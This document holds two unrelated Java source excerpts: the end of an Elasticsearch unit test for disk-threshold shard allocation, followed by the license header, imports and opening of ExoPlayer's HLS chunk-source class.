new HashSet<>(Arrays.asList(
new SameShardAllocationDecider(Settings.EMPTY),
new DiskThresholdDecider(diskSettings))));
strategy = new AllocationService(settingsBuilder()
.put("cluster.routing.allocation.concurrent_recoveries", 10)
.put(ClusterRebalanceAllocationDecider.CLUSTER_ROUTING_ALLOCATION_ALLOW_REBALANCE, "always")
.put("cluster.routing.allocation.cluster_concurrent_rebalance", -1)
.build(), deciders, makeShardsAllocators(), cis);
routingTable = strategy.reroute(clusterState).routingTable();
clusterState = ClusterState.builder(clusterState).routingTable(routingTable).build();
logShardStates(clusterState);
// Shards remain started
assertThat(clusterState.getRoutingNodes().shardsWithState(STARTED).size(), equalTo(3));
assertThat(clusterState.getRoutingNodes().node("node1").size(), equalTo(1));
// Shard hasn't been moved off of node2 yet because there's nowhere for it to go
assertThat(clusterState.getRoutingNodes().node("node2").size(), equalTo(1));
assertThat(clusterState.getRoutingNodes().node("node3").size(), equalTo(1));
logger.info("--> adding node4");
clusterState = ClusterState.builder(clusterState).nodes(DiscoveryNodes.builder(clusterState.nodes())
.put(newNode("node4"))
).build();
routingTable = strategy.reroute(clusterState).routingTable();
clusterState = ClusterState.builder(clusterState).routingTable(routingTable).build();
logShardStates(clusterState);
// Shards remain started
assertThat(clusterState.getRoutingNodes().shardsWithState(STARTED).size(), equalTo(2));
// One shard is relocating off of node1
assertThat(clusterState.getRoutingNodes().shardsWithState(RELOCATING).size(), equalTo(1));
assertThat(clusterState.getRoutingNodes().shardsWithState(INITIALIZING).size(), equalTo(1));
logger.info("--> apply INITIALIZING shards");
routingTable = strategy.applyStartedShards(clusterState, clusterState.getRoutingNodes().shardsWithState(INITIALIZING)).routingTable();
clusterState = ClusterState.builder(clusterState).routingTable(routingTable).build();
logShardStates(clusterState);
// primary shard already has been relocated away
assertThat(clusterState.getRoutingNodes().node(nodeWithPrimary).size(), equalTo(0));
// node with increased space still has its shard
assertThat(clusterState.getRoutingNodes().node(nodeWithoutPrimary).size(), equalTo(1));
assertThat(clusterState.getRoutingNodes().node("node3").size(), equalTo(1));
assertThat(clusterState.getRoutingNodes().node("node4").size(), equalTo(1));
logger.info("--> adding node5");
clusterState = ClusterState.builder(clusterState).nodes(DiscoveryNodes.builder(clusterState.nodes())
.put(newNode("node5"))
).build();
routingTable = strategy.reroute(clusterState).routingTable();
clusterState = ClusterState.builder(clusterState).routingTable(routingTable).build();
logShardStates(clusterState);
// Shards remain started on node3 and node4
assertThat(clusterState.getRoutingNodes().shardsWithState(STARTED).size(), equalTo(2));
// One shard is relocating off of node2 now
assertThat(clusterState.getRoutingNodes().shardsWithState(RELOCATING).size(), equalTo(1));
// Initializing on node5
assertThat(clusterState.getRoutingNodes().shardsWithState(INITIALIZING).size(), equalTo(1));
logger.info("--> apply INITIALIZING shards");
routingTable = strategy.applyStartedShards(clusterState, clusterState.getRoutingNodes().shardsWithState(INITIALIZING)).routingTable();
clusterState = ClusterState.builder(clusterState).routingTable(routingTable).build();
logger.info("--> final cluster state:");
logShardStates(clusterState);
// Node1 still has no shards because it has no space for them
assertThat(clusterState.getRoutingNodes().node("node1").size(), equalTo(0));
// Node5 is available now, so the shard is moved off of node2
assertThat(clusterState.getRoutingNodes().node("node2").size(), equalTo(0));
assertThat(clusterState.getRoutingNodes().node("node3").size(), equalTo(1));
assertThat(clusterState.getRoutingNodes().node("node4").size(), equalTo(1));
assertThat(clusterState.getRoutingNodes().node("node5").size(), equalTo(1));
}
@Test
public void diskThresholdWithShardSizes() {
Settings diskSettings = settingsBuilder()
.put(DiskThresholdDecider.CLUSTER_ROUTING_ALLOCATION_DISK_THRESHOLD_ENABLED, true)
.put(DiskThresholdDecider.CLUSTER_ROUTING_ALLOCATION_LOW_DISK_WATERMARK, 0.7)
.put(DiskThresholdDecider.CLUSTER_ROUTING_ALLOCATION_HIGH_DISK_WATERMARK, "71%").build();
Map<String, DiskUsage> usages = new HashMap<>();
usages.put("node1", new DiskUsage("node1", "n1", "/dev/null", 100, 31)); // 69% used
usages.put("node2", new DiskUsage("node2", "n2", "/dev/null", 100, 1)); // 99% used
Map<String, Long> shardSizes = new HashMap<>();
shardSizes.put("[test][0][p]", 10L); // 10 bytes
final ClusterInfo clusterInfo = new ClusterInfo(Collections.unmodifiableMap(usages), Collections.unmodifiableMap(usages), Collections.unmodifiableMap(shardSizes), MockInternalClusterInfoService.DEV_NULL_MAP);
AllocationDeciders deciders = new AllocationDeciders(Settings.EMPTY,
new HashSet<>(Arrays.asList(
new SameShardAllocationDecider(Settings.EMPTY),
new DiskThresholdDecider(diskSettings))));
ClusterInfoService cis = new ClusterInfoService() {
@Override
public ClusterInfo getClusterInfo() {
logger.info("--> calling fake getClusterInfo");
return clusterInfo;
}
@Override
public void addListener(Listener listener) {
// noop
}
};
AllocationService strategy = new AllocationService(settingsBuilder()
.put("cluster.routing.allocation.concurrent_recoveries", 10)
.put(ClusterRebalanceAllocationDecider.CLUSTER_ROUTING_ALLOCATION_ALLOW_REBALANCE, "always")
.put("cluster.routing.allocation.cluster_concurrent_rebalance", -1)
.build(), deciders, makeShardsAllocators(), cis);
MetaData metaData = MetaData.builder()
.put(IndexMetaData.builder("test").settings(settings(Version.CURRENT)).numberOfShards(1).numberOfReplicas(0))
.build();
RoutingTable routingTable = RoutingTable.builder()
.addAsNew(metaData.index("test"))
.build();
ClusterState clusterState = ClusterState.builder(org.elasticsearch.cluster.ClusterName.DEFAULT).metaData(metaData).routingTable(routingTable).build();
logger.info("--> adding node1");
clusterState = ClusterState.builder(clusterState).nodes(DiscoveryNodes.builder()
.put(newNode("node1"))
.put(newNode("node2")) // node2 is added because DiskThresholdDecider automatically ignore single-node clusters
).build();
routingTable = strategy.reroute(clusterState).routingTable();
clusterState = ClusterState.builder(clusterState).routingTable(routingTable).build();
logger.info("--> start the shards (primaries)");
routingTable = strategy.applyStartedShards(clusterState, clusterState.getRoutingNodes().shardsWithState(INITIALIZING)).routingTable();
clusterState = ClusterState.builder(clusterState).routingTable(routingTable).build();
logShardStates(clusterState);
// Shard can't be allocated to node1 (or node2) because it would cause too much usage
assertThat(clusterState.getRoutingNodes().shardsWithState(INITIALIZING).size(), equalTo(0));
// No shards are started, no nodes have enough disk for allocation
assertThat(clusterState.getRoutingNodes().shardsWithState(STARTED).size(), equalTo(0));
}
@Test
public void unknownDiskUsageTest() {
Settings diskSettings = settingsBuilder()
.put(DiskThresholdDecider.CLUSTER_ROUTING_ALLOCATION_DISK_THRESHOLD_ENABLED, true)
.put(DiskThresholdDecider.CLUSTER_ROUTING_ALLOCATION_LOW_DISK_WATERMARK, 0.7)
.put(DiskThresholdDecider.CLUSTER_ROUTING_ALLOCATION_HIGH_DISK_WATERMARK, 0.85).build();
Map<String, DiskUsage> usages = new HashMap<>();
usages.put("node2", new DiskUsage("node2", "node2", "/dev/null", 100, 50)); // 50% used
usages.put("node3", new DiskUsage("node3", "node3", "/dev/null", 100, 0)); // 100% used
Map<String, Long> shardSizes = new HashMap<>();
shardSizes.put("[test][0][p]", 10L); // 10 bytes
shardSizes.put("[test][0][r]", 10L); // 10 bytes
final ClusterInfo clusterInfo = new ClusterInfo(Collections.unmodifiableMap(usages), Collections.unmodifiableMap(usages), Collections.unmodifiableMap(shardSizes), MockInternalClusterInfoService.DEV_NULL_MAP);
AllocationDeciders deciders = new AllocationDeciders(Settings.EMPTY,
new HashSet<>(Arrays.asList(
new SameShardAllocationDecider(Settings.EMPTY),
new DiskThresholdDecider(diskSettings))));
ClusterInfoService cis = new ClusterInfoService() {
@Override
public ClusterInfo getClusterInfo() {
logger.info("--> calling fake getClusterInfo");
return clusterInfo;
}
@Override
public void addListener(Listener listener) {
// noop
}
};
AllocationService strategy = new AllocationService(settingsBuilder()
.put("cluster.routing.allocation.concurrent_recoveries", 10)
.put(ClusterRebalanceAllocationDecider.CLUSTER_ROUTING_ALLOCATION_ALLOW_REBALANCE, "always")
.put("cluster.routing.allocation.cluster_concurrent_rebalance", -1)
.build(), deciders, makeShardsAllocators(), cis);
MetaData metaData = MetaData.builder()
.put(IndexMetaData.builder("test").settings(settings(Version.CURRENT)).numberOfShards(1).numberOfReplicas(0))
.build();
RoutingTable routingTable = RoutingTable.builder()
.addAsNew(metaData.index("test"))
.build();
ClusterState clusterState = ClusterState.builder(org.elasticsearch.cluster.ClusterName.DEFAULT).metaData(metaData).routingTable(routingTable).build();
logger.info("--> adding node1");
clusterState = ClusterState.builder(clusterState).nodes(DiscoveryNodes.builder()
.put(newNode("node1"))
.put(newNode("node3")) // node3 is added because DiskThresholdDecider automatically ignore single-node clusters
).build();
routingTable = strategy.reroute(clusterState).routingTable();
clusterState = ClusterState.builder(clusterState).routingTable(routingTable).build();
// Shard can be allocated to node1, even though it only has 25% free,
// because it's a primary that's never been allocated before
assertThat(clusterState.getRoutingNodes().shardsWithState(INITIALIZING).size(), equalTo(1));
logger.info("--> start the shards (primaries)");
routingTable = strategy.applyStartedShards(clusterState, clusterState.getRoutingNodes().shardsWithState(INITIALIZING)).routingTable();
clusterState = ClusterState.builder(clusterState).routingTable(routingTable).build();
logShardStates(clusterState);
// A single shard is started on node1, even though it normally would not
// be allowed, because it's a primary that hasn't been allocated, and node1
// is still below the high watermark (unlike node3)
assertThat(clusterState.getRoutingNodes().shardsWithState(STARTED).size(), equalTo(1));
assertThat(clusterState.getRoutingNodes().node("node1").size(), equalTo(1));
}
@Test
public void averageUsageUnitTest() {
RoutingNode rn = new RoutingNode("node1", newNode("node1"));
DiskThresholdDecider decider = new DiskThresholdDecider(Settings.EMPTY);
Map<String, DiskUsage> usages = new HashMap<>();
usages.put("node2", new DiskUsage("node2", "n2", "/dev/null", 100, 50)); // 50% used
usages.put("node3", new DiskUsage("node3", "n3", "/dev/null", 100, 0)); // 100% used
DiskUsage node1Usage = decider.averageUsage(rn, usages);
assertThat(node1Usage.getTotalBytes(), equalTo(100L));
assertThat(node1Usage.getFreeBytes(), equalTo(25L));
}
@Test
public void freeDiskPercentageAfterShardAssignedUnitTest() {
RoutingNode rn = new RoutingNode("node1", newNode("node1"));
DiskThresholdDecider decider = new DiskThresholdDecider(Settings.EMPTY);
Map<String, DiskUsage> usages = new HashMap<>();
usages.put("node2", new DiskUsage("node2", "n2", "/dev/null", 100, 50)); // 50% used
usages.put("node3", new DiskUsage("node3", "n3", "/dev/null", 100, 0)); // 100% used
Double after = decider.freeDiskPercentageAfterShardAssigned(new DiskUsage("node2", "n2", "/dev/null", 100, 30), 11L);
assertThat(after, equalTo(19.0));
}
@Test
public void testShardRelocationsTakenIntoAccount() {
Settings diskSettings = settingsBuilder()
.put(DiskThresholdDecider.CLUSTER_ROUTING_ALLOCATION_DISK_THRESHOLD_ENABLED, true)
.put(DiskThresholdDecider.CLUSTER_ROUTING_ALLOCATION_INCLUDE_RELOCATIONS, true)
.put(DiskThresholdDecider.CLUSTER_ROUTING_ALLOCATION_LOW_DISK_WATERMARK, 0.7)
.put(DiskThresholdDecider.CLUSTER_ROUTING_ALLOCATION_HIGH_DISK_WATERMARK, 0.8).build();
Map<String, DiskUsage> usages = new HashMap<>();
usages.put("node1", new DiskUsage("node1", "n1", "/dev/null", 100, 40)); // 60% used
usages.put("node2", new DiskUsage("node2", "n2", "/dev/null", 100, 40)); // 60% used
usages.put("node3", new DiskUsage("node3", "n3", "/dev/null", 100, 40)); // 60% used
Map<String, Long> shardSizes = new HashMap<>();
shardSizes.put("[test][0][p]", 14L); // 14 bytes
shardSizes.put("[test][0][r]", 14L);
shardSizes.put("[test2][0][p]", 1L); // 1 bytes
shardSizes.put("[test2][0][r]", 1L);
final ClusterInfo clusterInfo = new ClusterInfo(Collections.unmodifiableMap(usages), Collections.unmodifiableMap(usages), Collections.unmodifiableMap(shardSizes), MockInternalClusterInfoService.DEV_NULL_MAP);
AllocationDeciders deciders = new AllocationDeciders(Settings.EMPTY,
new HashSet<>(Arrays.asList(
new SameShardAllocationDecider(Settings.EMPTY),
new DiskThresholdDecider(diskSettings))));
ClusterInfoService cis = new ClusterInfoService() {
@Override
public ClusterInfo getClusterInfo() {
logger.info("--> calling fake getClusterInfo");
return clusterInfo;
}
@Override
public void addListener(Listener listener) {
// noop
}
};
AllocationService strategy = new AllocationService(settingsBuilder()
.put("cluster.routing.allocation.concurrent_recoveries", 10)
.put(ClusterRebalanceAllocationDecider.CLUSTER_ROUTING_ALLOCATION_ALLOW_REBALANCE, "always")
.put("cluster.routing.allocation.cluster_concurrent_rebalance", -1)
.build(), deciders, makeShardsAllocators(), cis);
MetaData metaData = MetaData.builder()
.put(IndexMetaData.builder("test").settings(settings(Version.CURRENT)).numberOfShards(1).numberOfReplicas(1))
.put(IndexMetaData.builder("test2").settings(settings(Version.CURRENT)).numberOfShards(1).numberOfReplicas(1))
.build();
RoutingTable routingTable = RoutingTable.builder()
.addAsNew(metaData.index("test"))
.addAsNew(metaData.index("test2"))
.build();
ClusterState clusterState = ClusterState.builder(org.elasticsearch.cluster.ClusterName.DEFAULT).metaData(metaData).routingTable(routingTable).build();
logger.info("--> adding two nodes");
clusterState = ClusterState.builder(clusterState).nodes(DiscoveryNodes.builder()
.put(newNode("node1"))
.put(newNode("node2"))
).build();
routingTable = strategy.reroute(clusterState).routingTable();
clusterState = ClusterState.builder(clusterState).routingTable(routingTable).build();
logShardStates(clusterState);
// shards should be initializing
assertThat(clusterState.getRoutingNodes().shardsWithState(INITIALIZING).size(), equalTo(4));
logger.info("--> start the shards");
routingTable = strategy.applyStartedShards(clusterState, clusterState.getRoutingNodes().shardsWithState(INITIALIZING)).routingTable();
clusterState = ClusterState.builder(clusterState).routingTable(routingTable).build();
logShardStates(clusterState);
// Assert that we're able to start the primary and replicas
assertThat(clusterState.getRoutingNodes().shardsWithState(ShardRoutingState.STARTED).size(), equalTo(4));
logger.info("--> adding node3");
clusterState = ClusterState.builder(clusterState).nodes(DiscoveryNodes.builder(clusterState.nodes())
.put(newNode("node3"))
).build();
AllocationCommand relocate1 = new MoveAllocationCommand(new ShardId("test", 0), "node2", "node3");
AllocationCommands cmds = new AllocationCommands(relocate1);
routingTable = strategy.reroute(clusterState, cmds).routingTable();
clusterState = ClusterState.builder(clusterState).routingTable(routingTable).build();
logShardStates(clusterState);
AllocationCommand relocate2 = new MoveAllocationCommand(new ShardId("test2", 0), "node2", "node3");
cmds = new AllocationCommands(relocate2);
try {
// The shard for the "test" index is already being relocated to
// node3, which will put it over the low watermark when it
// completes, with shard relocations taken into account this should
// throw an exception about not being able to complete
strategy.reroute(clusterState, cmds).routingTable();
fail("should not have been able to reroute the shard");
} catch (IllegalArgumentException e) {
assertThat("can't allocated because there isn't enough room: " + e.getMessage(),
e.getMessage().contains("more than allowed [70.0%] used disk on node, free: [26.0%]"), equalTo(true));
}
}
@Test
public void testCanRemainWithShardRelocatingAway() {
Settings diskSettings = settingsBuilder()
.put(DiskThresholdDecider.CLUSTER_ROUTING_ALLOCATION_DISK_THRESHOLD_ENABLED, true)
.put(DiskThresholdDecider.CLUSTER_ROUTING_ALLOCATION_INCLUDE_RELOCATIONS, true)
.put(DiskThresholdDecider.CLUSTER_ROUTING_ALLOCATION_LOW_DISK_WATERMARK, "60%")
.put(DiskThresholdDecider.CLUSTER_ROUTING_ALLOCATION_HIGH_DISK_WATERMARK, "70%").build();
// We have an index with 2 primary shards each taking 40 bytes. Each node has 100 bytes available
Map<String, DiskUsage> usages = new HashMap<>();
usages.put("node1", new DiskUsage("node1", "n1", "/dev/null", 100, 20)); // 80% used
usages.put("node2", new DiskUsage("node2", "n2", "/dev/null", 100, 100)); // 0% used
Map<String, Long> shardSizes = new HashMap<>();
shardSizes.put("[test][0][p]", 40L);
shardSizes.put("[test][1][p]", 40L);
final ClusterInfo clusterInfo = new ClusterInfo(Collections.unmodifiableMap(usages), Collections.unmodifiableMap(usages), Collections.unmodifiableMap(shardSizes), MockInternalClusterInfoService.DEV_NULL_MAP);
DiskThresholdDecider diskThresholdDecider = new DiskThresholdDecider(diskSettings);
MetaData metaData = MetaData.builder()
.put(IndexMetaData.builder("test").settings(settings(Version.CURRENT)).numberOfShards(2).numberOfReplicas(0))
.build();
RoutingTable routingTable = RoutingTable.builder()
.addAsNew(metaData.index("test"))
.build();
DiscoveryNode discoveryNode1 = new DiscoveryNode("node1", new LocalTransportAddress("1"), Version.CURRENT);
DiscoveryNode discoveryNode2 = new DiscoveryNode("node2", new LocalTransportAddress("2"), Version.CURRENT);
DiscoveryNodes discoveryNodes = DiscoveryNodes.builder().put(discoveryNode1).put(discoveryNode2).build();
ClusterState baseClusterState = ClusterState.builder(org.elasticsearch.cluster.ClusterName.DEFAULT)
.metaData(metaData)
.routingTable(routingTable)
.nodes(discoveryNodes)
.build();
// Two shards consuming each 80% of disk space while 70% is allowed, so shard 0 isn't allowed here
ShardRouting firstRouting = TestShardRouting.newShardRouting("test", 0, "node1", null, null, true, ShardRoutingState.STARTED, 1);
ShardRouting secondRouting = TestShardRouting.newShardRouting("test", 1, "node1", null, null, true, ShardRoutingState.STARTED, 1);
RoutingNode firstRoutingNode = new RoutingNode("node1", discoveryNode1, Arrays.asList(firstRouting, secondRouting));
RoutingTable.Builder builder = RoutingTable.builder().add(
IndexRoutingTable.builder("test")
.addIndexShard(new IndexShardRoutingTable.Builder(new ShardId("test", 0))
.addShard(firstRouting)
.build()
)
.addIndexShard(new IndexShardRoutingTable.Builder(new ShardId("test", 1))
.addShard(secondRouting)
.build()
)
);
ClusterState clusterState = ClusterState.builder(baseClusterState).routingTable(builder).build();
RoutingAllocation routingAllocation = new RoutingAllocation(null, new RoutingNodes(clusterState), discoveryNodes, clusterInfo);
Decision decision = diskThresholdDecider.canRemain(firstRouting, firstRoutingNode, routingAllocation);
assertThat(decision.type(), equalTo(Decision.Type.NO));
// Two shards consuming each 80% of disk space while 70% is allowed, but one is relocating, so shard 0 can stay
firstRouting = TestShardRouting.newShardRouting("test", 0, "node1", null, null, true, ShardRoutingState.STARTED, 1);
secondRouting = TestShardRouting.newShardRouting("test", 1, "node1", "node2", null, true, ShardRoutingState.RELOCATING, 1);
firstRoutingNode = new RoutingNode("node1", discoveryNode1, Arrays.asList(firstRouting, secondRouting));
builder = RoutingTable.builder().add(
IndexRoutingTable.builder("test")
.addIndexShard(new IndexShardRoutingTable.Builder(new ShardId("test", 0))
.addShard(firstRouting)
.build()
)
.addIndexShard(new IndexShardRoutingTable.Builder(new ShardId("test", 1))
.addShard(secondRouting)
.build()
)
);
clusterState = ClusterState.builder(baseClusterState).routingTable(builder).build();
routingAllocation = new RoutingAllocation(null, new RoutingNodes(clusterState), discoveryNodes, clusterInfo);
decision = diskThresholdDecider.canRemain(firstRouting, firstRoutingNode, routingAllocation);
assertThat(decision.type(), equalTo(Decision.Type.YES));
// Creating AllocationService instance and the services it depends on...
ClusterInfoService cis = new ClusterInfoService() {
@Override
public ClusterInfo getClusterInfo() {
logger.info("--> calling fake getClusterInfo");
return clusterInfo;
}
@Override
public void addListener(Listener listener) {
// noop
}
};
AllocationDeciders deciders = new AllocationDeciders(Settings.EMPTY, new HashSet<>(Arrays.asList(
new SameShardAllocationDecider(Settings.EMPTY), diskThresholdDecider
)));
AllocationService strategy = new AllocationService(settingsBuilder()
.put("cluster.routing.allocation.concurrent_recoveries", 10)
.put(ClusterRebalanceAllocationDecider.CLUSTER_ROUTING_ALLOCATION_ALLOW_REBALANCE, "always")
.put("cluster.routing.allocation.cluster_concurrent_rebalance", -1)
.build(), deciders, makeShardsAllocators(), cis);
// Ensure that the reroute call doesn't alter the routing table, since the first primary is relocating away
// and therefor we will have sufficient disk space on node1.
RoutingAllocation.Result result = strategy.reroute(clusterState);
assertThat(result.changed(), is(false));
assertThat(result.routingTable().index("test").getShards().get(0).primaryShard().state(), equalTo(STARTED));
assertThat(result.routingTable().index("test").getShards().get(0).primaryShard().currentNodeId(), equalTo("node1"));
assertThat(result.routingTable().index("test").getShards().get(0).primaryShard().relocatingNodeId(), nullValue());
assertThat(result.routingTable().index("test").getShards().get(1).primaryShard().state(), equalTo(RELOCATING));
assertThat(result.routingTable().index("test").getShards().get(1).primaryShard().currentNodeId(), equalTo("node1"));
assertThat(result.routingTable().index("test").getShards().get(1).primaryShard().relocatingNodeId(), equalTo("node2"));
}
public void testForSingleDataNode() {
Settings diskSettings = settingsBuilder()
.put(DiskThresholdDecider.CLUSTER_ROUTING_ALLOCATION_DISK_THRESHOLD_ENABLED, true)
.put(DiskThresholdDecider.CLUSTER_ROUTING_ALLOCATION_INCLUDE_RELOCATIONS, true)
.put(DiskThresholdDecider.CLUSTER_ROUTING_ALLOCATION_LOW_DISK_WATERMARK, "60%")
.put(DiskThresholdDecider.CLUSTER_ROUTING_ALLOCATION_HIGH_DISK_WATERMARK, "70%").build();
Map<String, DiskUsage> usages = new HashMap<>();
usages.put("node1", new DiskUsage("node1", "n1", "/dev/null", 100, 100)); // 0% used
usages.put("node2", new DiskUsage("node2", "n2", "/dev/null", 100, 20)); // 80% used
usages.put("node3", new DiskUsage("node3", "n3", "/dev/null", 100, 100)); // 0% used
// We have an index with 1 primary shards each taking 40 bytes. Each node has 100 bytes available
Map<String, Long> shardSizes = new HashMap<>();
shardSizes.put("[test][0][p]", 40L);
shardSizes.put("[test][1][p]", 40L);
final ClusterInfo clusterInfo = new ClusterInfo(Collections.unmodifiableMap(usages), Collections.unmodifiableMap(usages), Collections.unmodifiableMap(shardSizes), MockInternalClusterInfoService.DEV_NULL_MAP);
DiskThresholdDecider diskThresholdDecider = new DiskThresholdDecider(diskSettings);
MetaData metaData = MetaData.builder()
.put(IndexMetaData.builder("test").settings(settings(Version.CURRENT)).numberOfShards(2).numberOfReplicas(0))
.build();
RoutingTable routingTable = RoutingTable.builder()
.addAsNew(metaData.index("test"))
.build();
logger.info("--> adding one master node, one data node");
Map<String, String> masterNodeAttributes = new HashMap<>();
masterNodeAttributes.put("master", "true");
masterNodeAttributes.put("data", "false");
Map<String, String> dataNodeAttributes = new HashMap<>();
dataNodeAttributes.put("master", "false");
dataNodeAttributes.put("data", "true");
DiscoveryNode discoveryNode1 = new DiscoveryNode("", "node1", new LocalTransportAddress("1"), masterNodeAttributes, Version.CURRENT);
DiscoveryNode discoveryNode2 = new DiscoveryNode("", "node2", new LocalTransportAddress("2"), dataNodeAttributes, Version.CURRENT);
DiscoveryNodes discoveryNodes = DiscoveryNodes.builder().put(discoveryNode1).put(discoveryNode2).build();
ClusterState baseClusterState = ClusterState.builder(org.elasticsearch.cluster.ClusterName.DEFAULT)
.metaData(metaData)
.routingTable(routingTable)
.nodes(discoveryNodes)
.build();
// Two shards consumes 80% of disk space in data node, but we have only one data node, shards should remain.
ShardRouting firstRouting = TestShardRouting.newShardRouting("test", 0, "node2", null, null, true, ShardRoutingState.STARTED, 1);
ShardRouting secondRouting = TestShardRouting.newShardRouting("test", 1, "node2", null, null, true, ShardRoutingState.STARTED, 1);
RoutingNode firstRoutingNode = new RoutingNode("node2", discoveryNode2, Arrays.asList(firstRouting, secondRouting));
RoutingTable.Builder builder = RoutingTable.builder().add(
IndexRoutingTable.builder("test")
.addIndexShard(new IndexShardRoutingTable.Builder(new ShardId("test", 0))
.addShard(firstRouting)
.build()
)
.addIndexShard(new IndexShardRoutingTable.Builder(new ShardId("test", 1))
.addShard(secondRouting)
.build()
)
);
ClusterState clusterState = ClusterState.builder(baseClusterState).routingTable(builder).build();
RoutingAllocation routingAllocation = new RoutingAllocation(null, new RoutingNodes(clusterState), discoveryNodes, clusterInfo);
Decision decision = diskThresholdDecider.canRemain(firstRouting, firstRoutingNode, routingAllocation);
// Two shards should start happily
assertThat(decision.type(), equalTo(Decision.Type.YES));
ClusterInfoService cis = new ClusterInfoService() {
@Override
public ClusterInfo getClusterInfo() {
logger.info("--> calling fake getClusterInfo");
return clusterInfo;
}
@Override
public void addListener(Listener listener) {
}
};
AllocationDeciders deciders = new AllocationDeciders(Settings.EMPTY, new HashSet<>(Arrays.asList(
new SameShardAllocationDecider(Settings.EMPTY), diskThresholdDecider
)));
AllocationService strategy = new AllocationService(settingsBuilder()
.put("cluster.routing.allocation.concurrent_recoveries", 10)
.put(ClusterRebalanceAllocationDecider.CLUSTER_ROUTING_ALLOCATION_ALLOW_REBALANCE, "always")
.put("cluster.routing.allocation.cluster_concurrent_rebalance", -1)
.build(), deciders, makeShardsAllocators(), cis);
RoutingAllocation.Result result = strategy.reroute(clusterState);
assertThat(result.routingTable().index("test").getShards().get(0).primaryShard().state(), equalTo(STARTED));
assertThat(result.routingTable().index("test").getShards().get(0).primaryShard().currentNodeId(), equalTo("node2"));
assertThat(result.routingTable().index("test").getShards().get(0).primaryShard().relocatingNodeId(), nullValue());
assertThat(result.routingTable().index("test").getShards().get(1).primaryShard().state(), equalTo(STARTED));
assertThat(result.routingTable().index("test").getShards().get(1).primaryShard().currentNodeId(), equalTo("node2"));
assertThat(result.routingTable().index("test").getShards().get(1).primaryShard().relocatingNodeId(), nullValue());
// Add another datanode, it should relocate.
logger.info("--> adding node3");
DiscoveryNode discoveryNode3 = new DiscoveryNode("", "node3", new LocalTransportAddress("3"), dataNodeAttributes, Version.CURRENT);
ClusterState updateClusterState = ClusterState.builder(clusterState).nodes(DiscoveryNodes.builder(clusterState.nodes())
.put(discoveryNode3)).build();
firstRouting = TestShardRouting.newShardRouting("test", 0, "node2", null, null, true, ShardRoutingState.STARTED, 1);
secondRouting = TestShardRouting.newShardRouting("test", 1, "node2", "node3", null, true, ShardRoutingState.RELOCATING, 1);
firstRoutingNode = new RoutingNode("node2", discoveryNode2, Arrays.asList(firstRouting, secondRouting));
builder = RoutingTable.builder().add(
IndexRoutingTable.builder("test")
.addIndexShard(new IndexShardRoutingTable.Builder(new ShardId("test", 0))
.addShard(firstRouting)
.build()
)
.addIndexShard(new IndexShardRoutingTable.Builder(new ShardId("test", 1))
.addShard(secondRouting)
.build()
)
);
clusterState = ClusterState.builder(updateClusterState).routingTable(builder).build();
routingAllocation = new RoutingAllocation(null, new RoutingNodes(clusterState), discoveryNodes, clusterInfo);
decision = diskThresholdDecider.canRemain(firstRouting, firstRoutingNode, routingAllocation);
assertThat(decision.type(), equalTo(Decision.Type.YES));
result = strategy.reroute(clusterState);
assertThat(result.routingTable().index("test").getShards().get(0).primaryShard().state(), equalTo(STARTED));
assertThat(result.routingTable().index("test").getShards().get(0).primaryShard().currentNodeId(), equalTo("node2"));
assertThat(result.routingTable().index("test").getShards().get(0).primaryShard().relocatingNodeId(), nullValue());
assertThat(result.routingTable().index("test").getShards().get(1).primaryShard().state(), equalTo(RELOCATING));
assertThat(result.routingTable().index("test").getShards().get(1).primaryShard().currentNodeId(), equalTo("node2"));
assertThat(result.routingTable().index("test").getShards().get(1).primaryShard().relocatingNodeId(), equalTo("node3"));
}
public void logShardStates(ClusterState state) {
RoutingNodes rn = state.getRoutingNodes();
logger.info("--> counts: total: {}, unassigned: {}, initializing: {}, relocating: {}, started: {}",
rn.shards(new Predicate<ShardRouting>() {
@Override
public boolean apply(ShardRouting input) {
return true;
}
}).size(),
rn.shardsWithState(UNASSIGNED).size(),
rn.shardsWithState(INITIALIZING).size(),
rn.shardsWithState(RELOCATING).size(),
rn.shardsWithState(STARTED).size());
logger.info("--> unassigned: {}, initializing: {}, relocating: {}, started: {}",
rn.shardsWithState(UNASSIGNED),
rn.shardsWithState(INITIALIZING),
rn.shardsWithState(RELOCATING),
rn.shardsWithState(STARTED));
}
}
| |
/*
* Copyright (C) 2016 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.google.android.exoplayer2.source.hls;
import android.net.Uri;
import android.os.SystemClock;
import com.google.android.exoplayer2.C;
import com.google.android.exoplayer2.Format;
import com.google.android.exoplayer2.source.BehindLiveWindowException;
import com.google.android.exoplayer2.source.TrackGroup;
import com.google.android.exoplayer2.source.chunk.Chunk;
import com.google.android.exoplayer2.source.chunk.ChunkedTrackBlacklistUtil;
import com.google.android.exoplayer2.source.chunk.DataChunk;
import com.google.android.exoplayer2.source.hls.playlist.HlsMasterPlaylist.HlsUrl;
import com.google.android.exoplayer2.source.hls.playlist.HlsMediaPlaylist;
import com.google.android.exoplayer2.source.hls.playlist.HlsMediaPlaylist.Segment;
import com.google.android.exoplayer2.source.hls.playlist.HlsPlaylistTracker;
import com.google.android.exoplayer2.trackselection.BaseTrackSelection;
import com.google.android.exoplayer2.trackselection.TrackSelection;
import com.google.android.exoplayer2.upstream.DataSource;
import com.google.android.exoplayer2.upstream.DataSpec;
import com.google.android.exoplayer2.util.TimestampAdjuster;
import com.google.android.exoplayer2.util.UriUtil;
import com.google.android.exoplayer2.util.Util;
import java.io.IOException;
import java.math.BigInteger;
import java.util.Arrays;
import java.util.List;
import java.util.Locale;
/**
* Source of Hls (possibly adaptive) chunks.
*/
/* package */ class HlsChunkSource {
/**
* Chunk holder that allows the scheduling of retries.
*/
public static final class HlsChunkHolder {
public HlsChunkHolder() {
clear();
}
/**
* The chunk to be loaded next.
*/
public Chunk chunk;
/**
* Indicates that the end of the stream has been reached.
*/
public boolean endOfStream;
/**
* Indicates that the chunk source is waiting for the referred playlist to be refreshed.
*/
public HlsUrl playlist;
/**
* Clears the holder.
*/
public void clear() {
chunk = null;
endOfStream = false;
playlist = null;
}
}
private final DataSource mediaDataSource;
private final DataSource encryptionDataSource;
private final TimestampAdjusterProvider timestampAdjusterProvider;
private final HlsUrl[] variants;
